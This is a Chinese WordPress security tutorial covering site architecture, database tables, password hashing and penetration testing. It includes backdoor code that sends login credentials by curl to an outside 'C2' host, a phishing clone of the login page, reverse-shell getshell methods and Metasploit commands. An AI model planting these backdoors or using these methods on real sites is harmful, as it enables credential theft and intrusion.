wordpress安全技术研究
字数 4451 2025-08-23 18:31:34

WordPress安全技术研究与实践指南

一、WordPress版本统计与分析

1.1 境外WordPress版本分布统计

通过FOFA API对境外WordPress版本进行统计分析(排除中国地区):

import requests
import base64
import time
import json

url = "https://fofa.info/api/v1/search/all?email=&key=&qbase64="

with open('branch.txt', 'r+') as f:
    results = []
    for i in f.readlines():
        query = f'"wordpress-{i.strip()}" && country!="CN"'
        query = query.encode('utf-8')
        res = requests.get(url + base64.b64encode(query).decode()).text
        json_res = json.loads(res)
        size = json_res['size']
        results.append((i.strip(), size))
        time.sleep(3)
    
    sorted_results = sorted(results, key=lambda x: x[1], reverse=True)
    for item in sorted_results:
        print(f'境外服务器wordpress{item[0]}的数量为:{item[1]}')

统计结果(Top5版本):

  1. WordPress 4.5 - 718,094
  2. WordPress 6.0 - 571,377
  3. WordPress 4.8 - 432,132
  4. WordPress 2.5 - 283,633
  5. WordPress 6.1 - 225,618

二、WordPress环境搭建与结构分析

2.1 Docker环境搭建

使用Docker部署WordPress 4.5测试环境:

version: '3.9'
services:
  db:
    image: mariadb:10.6.4-focal
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: 123456
      MYSQL_DATABASE: wordpress
    volumes:
      - ./database:/var/lib/mysql
  wordpress:
    depends_on:
      - db
    image: wordpress:4.5-apache
    restart: always
    ports:
      - "80:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: root
      WORDPRESS_DB_PASSWORD: 123456
    volumes:
      - ./html:/var/www/html

2.2 WordPress目录结构

根目录文件:

  • index.php:网站主入口文件
  • license.txt:许可证文件
  • readme.html:安装和升级信息
  • wp-activate.php:激活新用户的脚本
  • wp-blog-header.php:加载WordPress环境和模板
  • wp-comments-post.php:处理评论请求
  • wp-config.php:主配置文件(数据库信息等)
  • wp-cron.php:处理计划任务
  • wp-login.php:登录页面主文件
  • xmlrpc.php:XML-RPC协议支持

核心目录:

  1. wp-admin:后台管理相关文件
  2. wp-content:用户内容和扩展存储(主题、插件、上传文件)
  3. wp-includes:主要PHP库和辅助脚本

三、WordPress数据库深入研究

3.1 数据库表结构

WordPress默认包含12张表:

  1. wp_commentmeta - 评论元数据
  2. wp_comments - 网站评论
  3. wp_links - 友情链接
  4. wp_options - WordPress设置和选项
  5. wp_postmeta - 文章元数据
  6. wp_posts - 网站文章
  7. wp_term_relationships - 分类/标签与帖子关系
  8. wp_term_taxonomy - 目录/标签分类
  9. wp_termmeta - 目录/标签元数据
  10. wp_terms - 每个目录/标签
  11. wp_usermeta - 用户元数据
  12. wp_users - 用户数据

3.2 元数据(Metadata)分析

WordPress中有四张表带有meta后缀,存储相关信息的元数据:

  • wp_commentmeta
  • wp_postmeta
  • wp_termmeta
  • wp_usermeta

共同字段结构:

  • meta_id - 自增ID
  • [post/comment/term/user]_id - 关联ID
  • meta_key - 元数据键
  • meta_value - 元数据值

元数据类型:

  • 描述性元数据(Descriptive metadata)
  • 结构性元数据(Structural metadata)
  • 管理性元数据(Administrative metadata)

3.3 文章数据表分析

wp_posts表结构:

字段 类型 描述
ID bigint 自增唯一ID
post_author bigint 作者ID
post_content longtext 正文内容
post_title text 标题
post_status varchar(20) 文章状态(publish/auto-draft等)
comment_status varchar(20) 评论状态(open/closed)
post_password varchar(20) 文章密码(明文)
post_name varchar(200) 文章缩略名(URL友好格式)
post_type varchar(20) 文章类型(post/page)
comment_count bigint 评论总数

文章状态(post_status)类型:

  1. publish - 已发布
  2. pending - 等待审核
  3. draft - 草稿
  4. auto-draft - 自动保存的草稿
  5. future - 预定发布
  6. private - 私有文章
  7. inherit - 继承状态
  8. trash - 回收站

wp_postmeta表结构:

字段 类型 描述
meta_id bigint 自增ID
post_id bigint 关联文章ID
meta_key varchar(255) 元数据键
meta_value longtext 元数据值

常见meta_key示例:

  • _wp_page_template - 页面模板路径
  • _edit_lock - 编辑锁定信息
  • _wp_trash_meta_status - 回收站状态
  • _oembed_* - 嵌入式内容信息

3.4 评论数据表分析

wp_comments表结构:

字段 类型 描述
comment_ID bigint 评论ID
comment_post_ID bigint 关联文章ID
comment_author tinytext 评论者名称
comment_author_email varchar(100) 评论者邮箱
comment_author_IP varchar(100) 评论者IP地址
comment_content text 评论内容
comment_approved varchar(20) 审核状态(0/1)
comment_agent varchar(255) 评论者User-Agent

3.5 用户数据表分析

wp_users表结构:

字段 类型 描述
ID bigint 用户ID
user_login varchar(60) 登录用户名
user_pass varchar(255) 密码哈希
user_email varchar(100) 用户邮箱
user_registered datetime 注册时间
user_activation_key varchar(255) 激活密钥

wp_usermeta表结构:

字段 类型 描述
umeta_id bigint 自增ID
user_id bigint 关联用户ID
meta_key varchar(255) 元数据键
meta_value longtext 元数据值

重要meta_key示例:

  • session_tokens - 存储用户会话信息(序列化格式)

四、WordPress用户权限管理

4.1 默认用户角色

  1. 超级管理员(Super Admin):拥有所有权限
  2. 管理员(Administrator):完整后台权限
  3. 编辑(Editor):管理所有文章,不能管理用户
  4. 作者(Author):只能管理自己的文章
  5. 投稿者(Contributor):只能撰写不能发布文章

4.2 权限管理类

WordPress提供三个核心类进行高级权限管理:

  1. WP_Roles - 角色管理
  2. WP_Role - 单个角色管理
  3. WP_User - 用户权限管理

使用场景:

  • 自定义角色创建
  • 特定权限分配
  • 插件/主题开发
  • 安全性增强
  • 动态权限调整

五、WordPress安全机制研究

5.1 密码加密算法

WordPress使用phpass类进行密码哈希:

function wp_hash_password($password) {
    global $wp_hasher;
    if (empty($wp_hasher)) {
        require_once(ABSPATH . WPINC . '/class-phpass.php');
        $wp_hasher = new PasswordHash(8, true);
    }
    return $wp_hasher->HashPassword(trim($password));
}

加密流程:

  1. PHP 5.0+使用Blowfish算法(实际为bcrypt变体)
  2. PHP 5.0以下使用MD5算法
  3. 生成随机salt结合明文密码加密
  4. 单向哈希不可逆

密码验证使用wp_check_password()函数:

function wp_check_password($password, $hash, $user_id = '') {
    global $wp_hasher;
    // 兼容旧版MD5哈希
    if (strlen($hash) <= 32) {
        $check = hash_equals($hash, md5($password));
        if ($check && $user_id) {
            // 重新使用新哈希
            wp_set_password($password, $user_id);
            $hash = wp_hash_password($password);
        }
        // ...
    }
    // ...
}

5.2 登录密码劫持技术

方法1:后门劫持

修改wp-includes/pluggable.php中的wp_authenticate函数:

function wp_authenticate($username, $password) {
    $username = sanitize_user($username);
    $password = trim($password);
    // 方式1:直接请求C2服务器
    system('curl http://1.2.4.7.24:18080/?password='.$username.$password);
    // 方式2:写入本地文件(更隐蔽)
    file_put_contents('access.log', $username.$password);
    // ...
}

方法2:钓鱼劫持

  1. wp-login.php中插入重定向代码:
session_start();
$host = $_SERVER['HTTP_HOST'];
if(!isset($_SESSION['redirected'])){
    $_SESSION['redirected'] = true;
    header('Location: http://'.$host.'/wp-logln.php');
}
  1. 克隆登录页面并修改表单:
<form name="loginform" id="loginform" action="wp-logln.php" method="post">
    <!-- 正常表单元素 -->
</form>

<?php
setcookie('redirected', '1');
$u = $_POST['log'];
$p = $_POST['pwd'];
if(isset($_POST['log']) && isset($_POST['pwd'])){
    file_put_contents('/var/log/access.log', $u.$p);
    session_start();
    $_SESSION['redirected'] = false;
    header('Location: /admin');
}
?>

六、WordPress渗透测试技术

6.1 常用工具

  1. WPScan

    wpscan --url http://target.com --wp-content-dir /wp-content/ \
           --enumerate vp --plugins-detection aggressive \
           --api-token YOUR_API_TOKEN
    
  2. CMSmap

    cmsmap -t http://target.com -f wordpress
    

6.2 版本侦查技术

  1. 自述文件:访问/readme.html
  2. HTML元标签:查找<meta name="generator">
  3. JS/CSS链接:检查ver参数中的版本号
  4. Feed检查
    • /?feed=rss
    • /?feed=rss2
    • /?feed=atom
  5. OPML文件/wp-links-opml.php
  6. MD5比对:计算静态文件MD5与特征库比对

6.3 GetShell技术实战

环境搭建:

git clone https://github.com/wpscanteam/VulnerableWordpress.git
cd VulnerableWordpress/
docker build --rm -t wpscan/vulnerablewordpress .
docker run --name vulnerablewordpress -d -p 81:80 -p 3307:3306 wpscan/vulnerablewordpress

方法1:修改模板

  1. 后台 → 外观 → 编辑
  2. index.php404.php中插入反向Shell代码
  3. 使用Metasploit监听:
    msfconsole
    use exploit/multi/handler
    set payload php/reverse_php
    set LHOST 0.0.0.0
    set LPORT 9999
    exploit
    

方法2:ZIP上传

  1. 将PHP反向Shell压缩为ZIP
  2. 插件安装页面上传ZIP
  3. 自动解压后访问Shell文件

方法3:直接PHP上传

  1. 在插件安装页面上传PHP文件
  2. 访问/wp-content/includes/上传的文件.php

方法4:脆弱插件利用

  1. 安装wp-responsive-thumbnail-slider 1.0
  2. 使用Metasploit模块:
    use exploit/unix/webapp/wp_responsive_thumbnail_slider_upload
    set RHOSTS target.com
    set TARGETURI /wordpress/
    set USERNAME admin
    set PASSWORD password
    exploit
    

七、安全建议

  1. 及时更新:保持WordPress核心、主题和插件最新
  2. 权限控制
    • 遵循最小权限原则
    • 限制管理员账户数量
  3. 密码安全
    • 使用强密码策略
    • 定期更换密码
  4. 文件监控
    • 监控核心文件修改
    • 禁用不必要的PHP执行
  5. 登录保护
    • 启用双因素认证
    • 限制登录尝试次数
  6. 备份策略:定期完整备份网站和数据库

通过深入理解WordPress的架构和安全机制,安全研究人员可以更有效地发现和防御潜在威胁,同时开发人员可以构建更安全的WordPress应用。

WordPress安全技术研究与实践指南 一、WordPress版本统计与分析 1.1 境外WordPress版本分布统计 通过FOFA API对境外WordPress版本进行统计分析(排除中国地区): 统计结果(Top5版本): WordPress 4.5 - 718,094 WordPress 6.0 - 571,377 WordPress 4.8 - 432,132 WordPress 2.5 - 283,633 WordPress 6.1 - 225,618 二、WordPress环境搭建与结构分析 2.1 Docker环境搭建 使用Docker部署WordPress 4.5测试环境: 2.2 WordPress目录结构 根目录文件: index.php :网站主入口文件 license.txt :许可证文件 readme.html :安装和升级信息 wp-activate.php :激活新用户的脚本 wp-blog-header.php :加载WordPress环境和模板 wp-comments-post.php :处理评论请求 wp-config.php :主配置文件(数据库信息等) wp-cron.php :处理计划任务 wp-login.php :登录页面主文件 xmlrpc.php :XML-RPC协议支持 核心目录: wp-admin :后台管理相关文件 wp-content :用户内容和扩展存储(主题、插件、上传文件) wp-includes :主要PHP库和辅助脚本 三、WordPress数据库深入研究 3.1 数据库表结构 WordPress默认包含12张表: wp_commentmeta - 评论元数据 wp_comments - 网站评论 wp_links - 友情链接 wp_options - WordPress设置和选项 wp_postmeta - 文章元数据 wp_posts - 网站文章 wp_term_relationships - 分类/标签与帖子关系 wp_term_taxonomy - 目录/标签分类 wp_termmeta - 目录/标签元数据 wp_terms - 每个目录/标签 wp_usermeta - 用户元数据 wp_users - 用户数据 3.2 元数据(Metadata)分析 WordPress中有四张表带有meta后缀,存储相关信息的元数据: wp_commentmeta wp_postmeta wp_termmeta wp_usermeta 共同字段结构: meta_id - 自增ID [post/comment/term/user]_id - 关联ID meta_key - 元数据键 meta_value - 元数据值 元数据类型: 描述性元数据(Descriptive metadata) 结构性元数据(Structural metadata) 管理性元数据(Administrative metadata) 3.3 文章数据表分析 wp_posts 表结构: | 字段 | 类型 | 描述 | |------|------|------| | ID | bigint | 自增唯一ID | | post_ author | bigint | 作者ID | | post_ content | longtext | 正文内容 | | post_ title | text | 标题 | | post_ status | varchar(20) | 文章状态(publish/auto-draft等) | | comment_ status | varchar(20) | 评论状态(open/closed) | | post_ password | varchar(20) | 文章密码(明文) | | post_ name | varchar(200) | 文章缩略名(URL友好格式) | | post_ type | varchar(20) | 文章类型(post/page) | | comment_ count | bigint | 评论总数 | 文章状态(post_ status)类型: publish - 已发布 pending - 等待审核 draft - 草稿 auto-draft - 自动保存的草稿 future - 预定发布 private - 私有文章 inherit - 继承状态 trash - 回收站 wp_postmeta 表结构: | 字段 | 类型 | 描述 | |------|------|------| | meta_ id | bigint | 自增ID | | post_ id | bigint | 关联文章ID | | meta_ key | varchar(255) | 元数据键 | | meta_ value | longtext | 元数据值 | 常见meta_ key示例: _wp_page_template - 页面模板路径 _edit_lock - 编辑锁定信息 _wp_trash_meta_status - 回收站状态 _oembed_* - 嵌入式内容信息 3.4 评论数据表分析 wp_comments 表结构: | 字段 | 类型 | 描述 | |------|------|------| | comment_ ID | bigint | 评论ID | | comment_ post_ ID | bigint | 关联文章ID | | comment_ author | tinytext | 评论者名称 | | comment_ author_ email | varchar(100) | 评论者邮箱 | | comment_ author_ IP | varchar(100) | 评论者IP地址 | | comment_ content | text | 评论内容 | | comment_ approved | varchar(20) | 审核状态(0/1) | | comment_ agent | varchar(255) | 评论者User-Agent | 3.5 用户数据表分析 wp_users 表结构: | 字段 | 类型 | 描述 | |------|------|------| | ID | bigint | 用户ID | | user_ login | varchar(60) | 登录用户名 | | user_ pass | varchar(255) | 密码哈希 | | user_ email | varchar(100) | 用户邮箱 | | user_ registered | datetime | 注册时间 | | user_ activation_ key | varchar(255) | 激活密钥 | wp_usermeta 表结构: | 字段 | 类型 | 描述 | |------|------|------| | umeta_ id | bigint | 自增ID | | user_ id | bigint | 关联用户ID | | meta_ key | varchar(255) | 元数据键 | | meta_ value | longtext | 元数据值 | 重要meta_ key示例: session_tokens - 存储用户会话信息(序列化格式) 四、WordPress用户权限管理 4.1 默认用户角色 超级管理员(Super Admin) :拥有所有权限 管理员(Administrator) :完整后台权限 编辑(Editor) :管理所有文章,不能管理用户 作者(Author) :只能管理自己的文章 投稿者(Contributor) :只能撰写不能发布文章 4.2 权限管理类 WordPress提供三个核心类进行高级权限管理: WP_Roles - 角色管理 WP_Role - 单个角色管理 WP_User - 用户权限管理 使用场景: 自定义角色创建 特定权限分配 插件/主题开发 安全性增强 动态权限调整 五、WordPress安全机制研究 5.1 密码加密算法 WordPress使用 phpass 类进行密码哈希: 加密流程: PHP 5.0+使用Blowfish算法(实际为bcrypt变体) PHP 5.0以下使用MD5算法 生成随机salt结合明文密码加密 单向哈希不可逆 密码验证使用 wp_check_password() 函数: 5.2 登录密码劫持技术 方法1:后门劫持 修改 wp-includes/pluggable.php 中的 wp_authenticate 函数: 方法2:钓鱼劫持 在 wp-login.php 中插入重定向代码: 克隆登录页面并修改表单: 六、WordPress渗透测试技术 6.1 常用工具 WPScan : CMSmap : 6.2 版本侦查技术 自述文件 :访问 /readme.html HTML元标签 :查找 <meta name="generator"> JS/CSS链接 :检查 ver 参数中的版本号 Feed检查 : /?feed=rss /?feed=rss2 /?feed=atom OPML文件 : /wp-links-opml.php MD5比对 :计算静态文件MD5与特征库比对 6.3 GetShell技术实战 环境搭建: 方法1:修改模板 后台 → 外观 → 编辑 在 index.php 或 404.php 中插入反向Shell代码 使用Metasploit监听: 方法2:ZIP上传 将PHP反向Shell压缩为ZIP 插件安装页面上传ZIP 自动解压后访问Shell文件 方法3:直接PHP上传 在插件安装页面上传PHP文件 访问 /wp-content/includes/上传的文件.php 方法4:脆弱插件利用 安装 wp-responsive-thumbnail-slider 1.0 使用Metasploit模块: 七、安全建议 及时更新 :保持WordPress核心、主题和插件最新 权限控制 : 遵循最小权限原则 限制管理员账户数量 密码安全 : 使用强密码策略 定期更换密码 文件监控 : 监控核心文件修改 禁用不必要的PHP执行 登录保护 : 启用双因素认证 限制登录尝试次数 备份策略 :定期完整备份网站和数据库 通过深入理解WordPress的架构和安全机制,安全研究人员可以更有效地发现和防御潜在威胁,同时开发人员可以构建更安全的WordPress应用。